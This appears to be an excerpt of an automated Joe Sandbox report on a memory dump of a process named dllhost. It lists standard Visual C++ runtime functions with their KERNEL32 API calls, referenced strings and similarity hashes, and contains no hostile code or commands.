MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,00405455,?), ref: 0040157B
GetStringTypeW.KERNEL32(?,?,00000000,UT@,?,?,?,?,?,?,00405455,?), ref: 0040158D

Strings

UT@, xrefs: 00401585, 004014E0
,0F, xrefs: 00401516, 00401521

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID: ,0F$UT@
API String ID: 3852931651-2878614304
Opcode ID: 07cae56b14df64ca1d25d27828df8eb6213f4e0473117297d13a6dd39bd2dd08
Instruction ID: 2c3f253558ef933acebc22a305ccf09ca6fc9644d113af0b9f2b2587c509ad0e
Opcode Fuzzy Hash: 07cae56b14df64ca1d25d27828df8eb6213f4e0473117297d13a6dd39bd2dd08
Instruction Fuzzy Hash: B0415CB2600259BFCF218F94DC85EEF7F69EB08750F104536F916A62A1D3389D508BA9

Function 00401F48 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 00401FB5
GetStdHandle.KERNEL32(000000F4,00409484,00000000,00000000,00000000,?), ref: 0040208B
WriteFile.KERNEL32(00000000), ref: 00402092

Strings

<program name unknown>, xrefs: 00401FC5
Runtime Error!Program: , xrefs: 0040201B
Microsoft Visual C++ Runtime Library, xrefs: 00402061
..., xrefs: 00402007

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 31c48dcd78de2902a7102ac0e468da7538395af523ba9bf0bf5ae6eab85546e0
Instruction ID: 353bd358fc87e6ecb88456980510914f7608dab287bc0301624dfb5383aab7a2
Opcode Fuzzy Hash: 31c48dcd78de2902a7102ac0e468da7538395af523ba9bf0bf5ae6eab85546e0
Instruction Fuzzy Hash: 4531C172A00218AFDF20E660CD49FAA376CEB46301F54087BFA45F71D2D7789A45CA5A

Function 004021DC Relevance: 12.1, APIs: 8, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00401096), ref: 004021F7
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00401096), ref: 0040220B
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00401096), ref: 00402237
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00401096), ref: 0040226F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00401096), ref: 00402291
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00401096), ref: 004022AA
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00401096), ref: 004022BD
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004022FB

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 1b02f493154be9ba70f699b67ef859cde770e8d656882e3c1aa63c91b7e72620
Instruction ID: 01933e7cb5bb143a36eec717e07290e85ced864bd21ce10d6bfd835e533edd1a
Opcode Fuzzy Hash: 1b02f493154be9ba70f699b67ef859cde770e8d656882e3c1aa63c91b7e72620
Instruction Fuzzy Hash: 7D3104B25042256FE7207BB49ECC83B769CE68930471505BFF952F32D1E6B98C8186BD

Function 00403BD8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00403C36
GetFileType.KERNEL32(?,?,00000000), ref: 00403CE1
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 00403D44
GetFileType.KERNEL32(00000000,?,00000000), ref: 00403D52
SetHandleCount.KERNEL32 ref: 00403D89

Strings

@0F, xrefs: 00403C70

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID: @0F
API String ID: 1710529072-3475146372
Opcode ID: c4909c97a1fd72e1e228d0010ea8ace08c4a8341c2f9480f19021213b8196bd7
Instruction ID: 28a553a9637121220ee7247c65834bb0b9772ccf18777b3abf87fb485a1a5954
Opcode Fuzzy Hash: c4909c97a1fd72e1e228d0010ea8ace08c4a8341c2f9480f19021213b8196bd7
Instruction Fuzzy Hash: 0C5148719042418BD720CF28C8847263FA8AF1272AF28467EC592FB3E1E738CE45C759

Function 004023BC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 004023DB
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00402410
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402470

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0040244A
__MSVCRT_HEAP_SELECT, xrefs: 0040240B

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 82d2434ca4891ad27d0855a263d5e3d4dffc660e015b2eb8e909bd98dd4d4f92
Instruction ID: d88cb298004c66bfd347c1fe4df28c0533db6c8754958dd86b1fd33aef8941e5
Opcode Fuzzy Hash: 82d2434ca4891ad27d0855a263d5e3d4dffc660e015b2eb8e909bd98dd4d4f92
Instruction Fuzzy Hash: D8314A719012486DEF3196709E997DF37689B02304F2440FBD549F62D2D6BD8E89CB19

Function 00403AE0 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,0040378D,004053B3,00000000,?,?,00000000,00000001), ref: 00403AE2
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00403AF0
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 00403B3C

Part of subcall function 00401878: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00403B05,00000001,00000074,?,?,00000000,00000001), ref: 0040196E

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00403B14
GetCurrentThreadId.KERNEL32 ref: 00403B25

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: d49466e2b71193a36731df746ec1887938efd12bcb208c3441ac4186523aebc5
Instruction ID: 97a5c9557e1ae8d9f6599d7a94307f1eaeaa4b81106fa305304cd28b9b093828
Opcode Fuzzy Hash: d49466e2b71193a36731df746ec1887938efd12bcb208c3441ac4186523aebc5
Instruction Fuzzy Hash: 2EF06D36A016216BD7312F71BC09A5B3E78AF51B66B10053AF586B62E2CB389D418698

Function 00401350 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 00401373
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 00401389
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,00405455,?,?,?,00000000,00000001), ref: 004013BC
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 00401424
WideCharToMultiByte.KERNEL32(?,00000220,?,00000000,?,?,00000000,00000000,?,00000000,?,?,00405455,?), ref: 00401449

Strings

UT@, xrefs: 00401368

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID: UT@
API String ID: 352835431-1027468425
Opcode ID: c994583962df0ed7ae7243b69efa640dd53768e2b06385abeedffc49915dc18a
Instruction ID: d78f3124ed4a51485e43371b09153d829d5b461428cb016d3bcab1a8dfffb7e2
Opcode Fuzzy Hash: c994583962df0ed7ae7243b69efa640dd53768e2b06385abeedffc49915dc18a
Instruction Fuzzy Hash: A9112832900249EBDF228F94CD00ADEBBB5FB48350F148166FE11722B0D3368D60DB64

Function 00405404 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(0046302C), ref: 0040542A
InterlockedDecrement.KERNEL32(0046302C), ref: 0040543F

Strings

,0F, xrefs: 00405423

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Interlocked$DecrementIncrement
String ID: ,0F
API String ID: 2172605799-2398074048
Opcode ID: d0039b60ddb3736004e8f66d235de526adf7d0c1eeb433830ddcdd98a6567be0
Instruction ID: 9f011c1cc064125e4e1f365d8986e9f9c51d6544cad74443aba1903841879af2
Opcode Fuzzy Hash: d0039b60ddb3736004e8f66d235de526adf7d0c1eeb433830ddcdd98a6567be0
Instruction Fuzzy Hash: 1DF0A972105A11ABE720AE65A881B8B6794EB80317F25443FF200A51E2C7B89D81CA6E

Function 00407AE4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,Qe@,00000000,Qe@,00000000,00000000,00000000,?,00406551,00000000), ref: 00407B07
GetLastError.KERNEL32(?,00406551,00000000), ref: 00407B38

Strings

Qe@, xrefs: 00407AF8, 00407B0D, 00407AFB
Qe@, xrefs: 00407B00, 00407B03

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: CompletionErrorLastQueuedStatus
String ID: Qe@$Qe@
API String ID: 1532515109-880564545
Opcode ID: 30c82a72444b98b0c31a9aadcc92cde5706fef6031e42e068d93ad7527ca1d74
Instruction ID: d58a1868424a8a0235f50982a74f1edf5cd213767c1dac622a4f6683b2030a8b
Opcode Fuzzy Hash: 30c82a72444b98b0c31a9aadcc92cde5706fef6031e42e068d93ad7527ca1d74
Instruction Fuzzy Hash: D7011DB5504205AFC714CF11D884AA737F8EF08369B10067EA40AD72A1EB74FD81CB99

Function 00402A90 Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,0045D430,0045D430,?,?,004027D4,00000000,00000010,00000000,00000009,00000009,?,00401DA4,00000010,00000000), ref: 00402AB1
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,004027D4,00000000,00000010,00000000,00000009,00000009,?,00401DA4,00000010,00000000), ref: 00402AD5
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,004027D4,00000000,00000010,00000000,00000009,00000009,?,00401DA4,00000010,00000000), ref: 00402AEF
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,004027D4,00000000,00000010,00000000,00000009,00000009,?,00401DA4,00000010,00000000,?), ref: 00402BB0
HeapFree.KERNEL32(00000000,00000000,?,?,004027D4,00000000,00000010,00000000,00000009,00000009,?,00401DA4,00000010,00000000,?,00000000), ref: 00402BC7

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: ff70acb26bc0ce49c42f03cbb2d3d1a5c25977b22c41e8071898cc23789281d8
Instruction ID: 01ec7a6da4d03d942993ae9d05248687ec6bc59c10bc01f1360c5df886961c2f
Opcode Fuzzy Hash: ff70acb26bc0ce49c42f03cbb2d3d1a5c25977b22c41e8071898cc23789281d8
Instruction Fuzzy Hash: 88314470A00701ABD3308F28DD88B62B7F4EB45765F10423AE559A73D2E7B8B884CB4C

Function 00404630 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004046F7

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 2326a597c6e5b14eb6ddd5c1f1cdbbf1ee3e972c3f164697542adcc83cbe6658
Instruction ID: 3548c9f421e37c23a281ec2324253a1f5e2a297354bffb8e0d54b8a68d9c7168
Opcode Fuzzy Hash: 2326a597c6e5b14eb6ddd5c1f1cdbbf1ee3e972c3f164697542adcc83cbe6658
Instruction Fuzzy Hash: 925182B1900108EFCB11DF68C984A9D7BB4FFC6350F14857AEA15AB291D778DA40CB59

Function 00404DB0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00404DC4

Strings

, xrefs: 00404E0D
, xrefs: 00404DE9

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: d5f15c20618a8da3d157eca65b183158ce57c22163765777d6246d6c24c000bc
Instruction ID: 53da26199c654d2664154929d565a6d6703e7d1cf3da02fb996c2f8f2c7b9b56
Opcode Fuzzy Hash: d5f15c20618a8da3d157eca65b183158ce57c22163765777d6246d6c24c000bc
Instruction Fuzzy Hash: FB4178B10001981FEB118754DD59FF77FA9AB42704F1800FAD346E71E3D2784A048BAB

Function 0040155D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,00405455,?), ref: 0040157B
GetStringTypeW.KERNEL32(?,?,00000000,UT@,?,?,?,?,?,?,00405455,?), ref: 0040158D

Strings

UT@, xrefs: 00401585

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide
String ID: UT@
API String ID: 3139900361-1027468425
Opcode ID: d8b5a6315cc255685bc58f211870a36f37305f0522f1b0d839e36d6274f612bc
Instruction ID: ae2c8b6bed3a1a63e45d0801f90e185e9f0518096c5375cea126aa6df245d2ca
Opcode Fuzzy Hash: d8b5a6315cc255685bc58f211870a36f37305f0522f1b0d839e36d6274f612bc
Instruction Fuzzy Hash: C3F0DA72501255AFCF218F80DD459EEBF72FB48360F144126FA16751A0D33559609A95

Function 00403064 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00000000,00402D2D,00000000,00000000,00000000,00401D46,00000000,00000000,?,00000000,00000000,00000000), ref: 0040308C
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00402D2D,00000000,00000000,00000000,00401D46,00000000,00000000,?,00000000,00000000,00000000), ref: 004030C0
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004030DA
HeapFree.KERNEL32(00000000,?), ref: 004030F1

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: a33ebd811453650a451694e4321f5bb8f2711becefd144dde414fb059f67f41e
Instruction ID: 7a633f342ebd28cbc89cba67429d3dad0771407b95541da556538c88800531f2
Opcode Fuzzy Hash: a33ebd811453650a451694e4321f5bb8f2711becefd144dde414fb059f67f41e
Instruction Fuzzy Hash: 1C116D70200381AFD7308F19EC45A627BB5FB867127104939F152D62B1E7B09E46DF49

Function 0040400C Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,00403FBE,?,00401070), ref: 00404019
InitializeCriticalSection.KERNEL32(?,00403FBE,?,00401070), ref: 00404021
InitializeCriticalSection.KERNEL32(?,00403FBE,?,00401070), ref: 00404029
InitializeCriticalSection.KERNEL32(?,00403FBE,?,00401070), ref: 00404031

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 5409a8d8e14127a5ce235ccad8aaf5674b6d6844133d0f33aee3699391df0c2a
Instruction ID: aa4c73ddd6739a18e28f690a0a169ce4de3aa9dd01ea8e4f37dabd6de307042e
Opcode Fuzzy Hash: 5409a8d8e14127a5ce235ccad8aaf5674b6d6844133d0f33aee3699391df0c2a
Instruction Fuzzy Hash: 73C00231D011349FDF323B65FE058453F26EF042A23010077A9085543686215C10DFCD

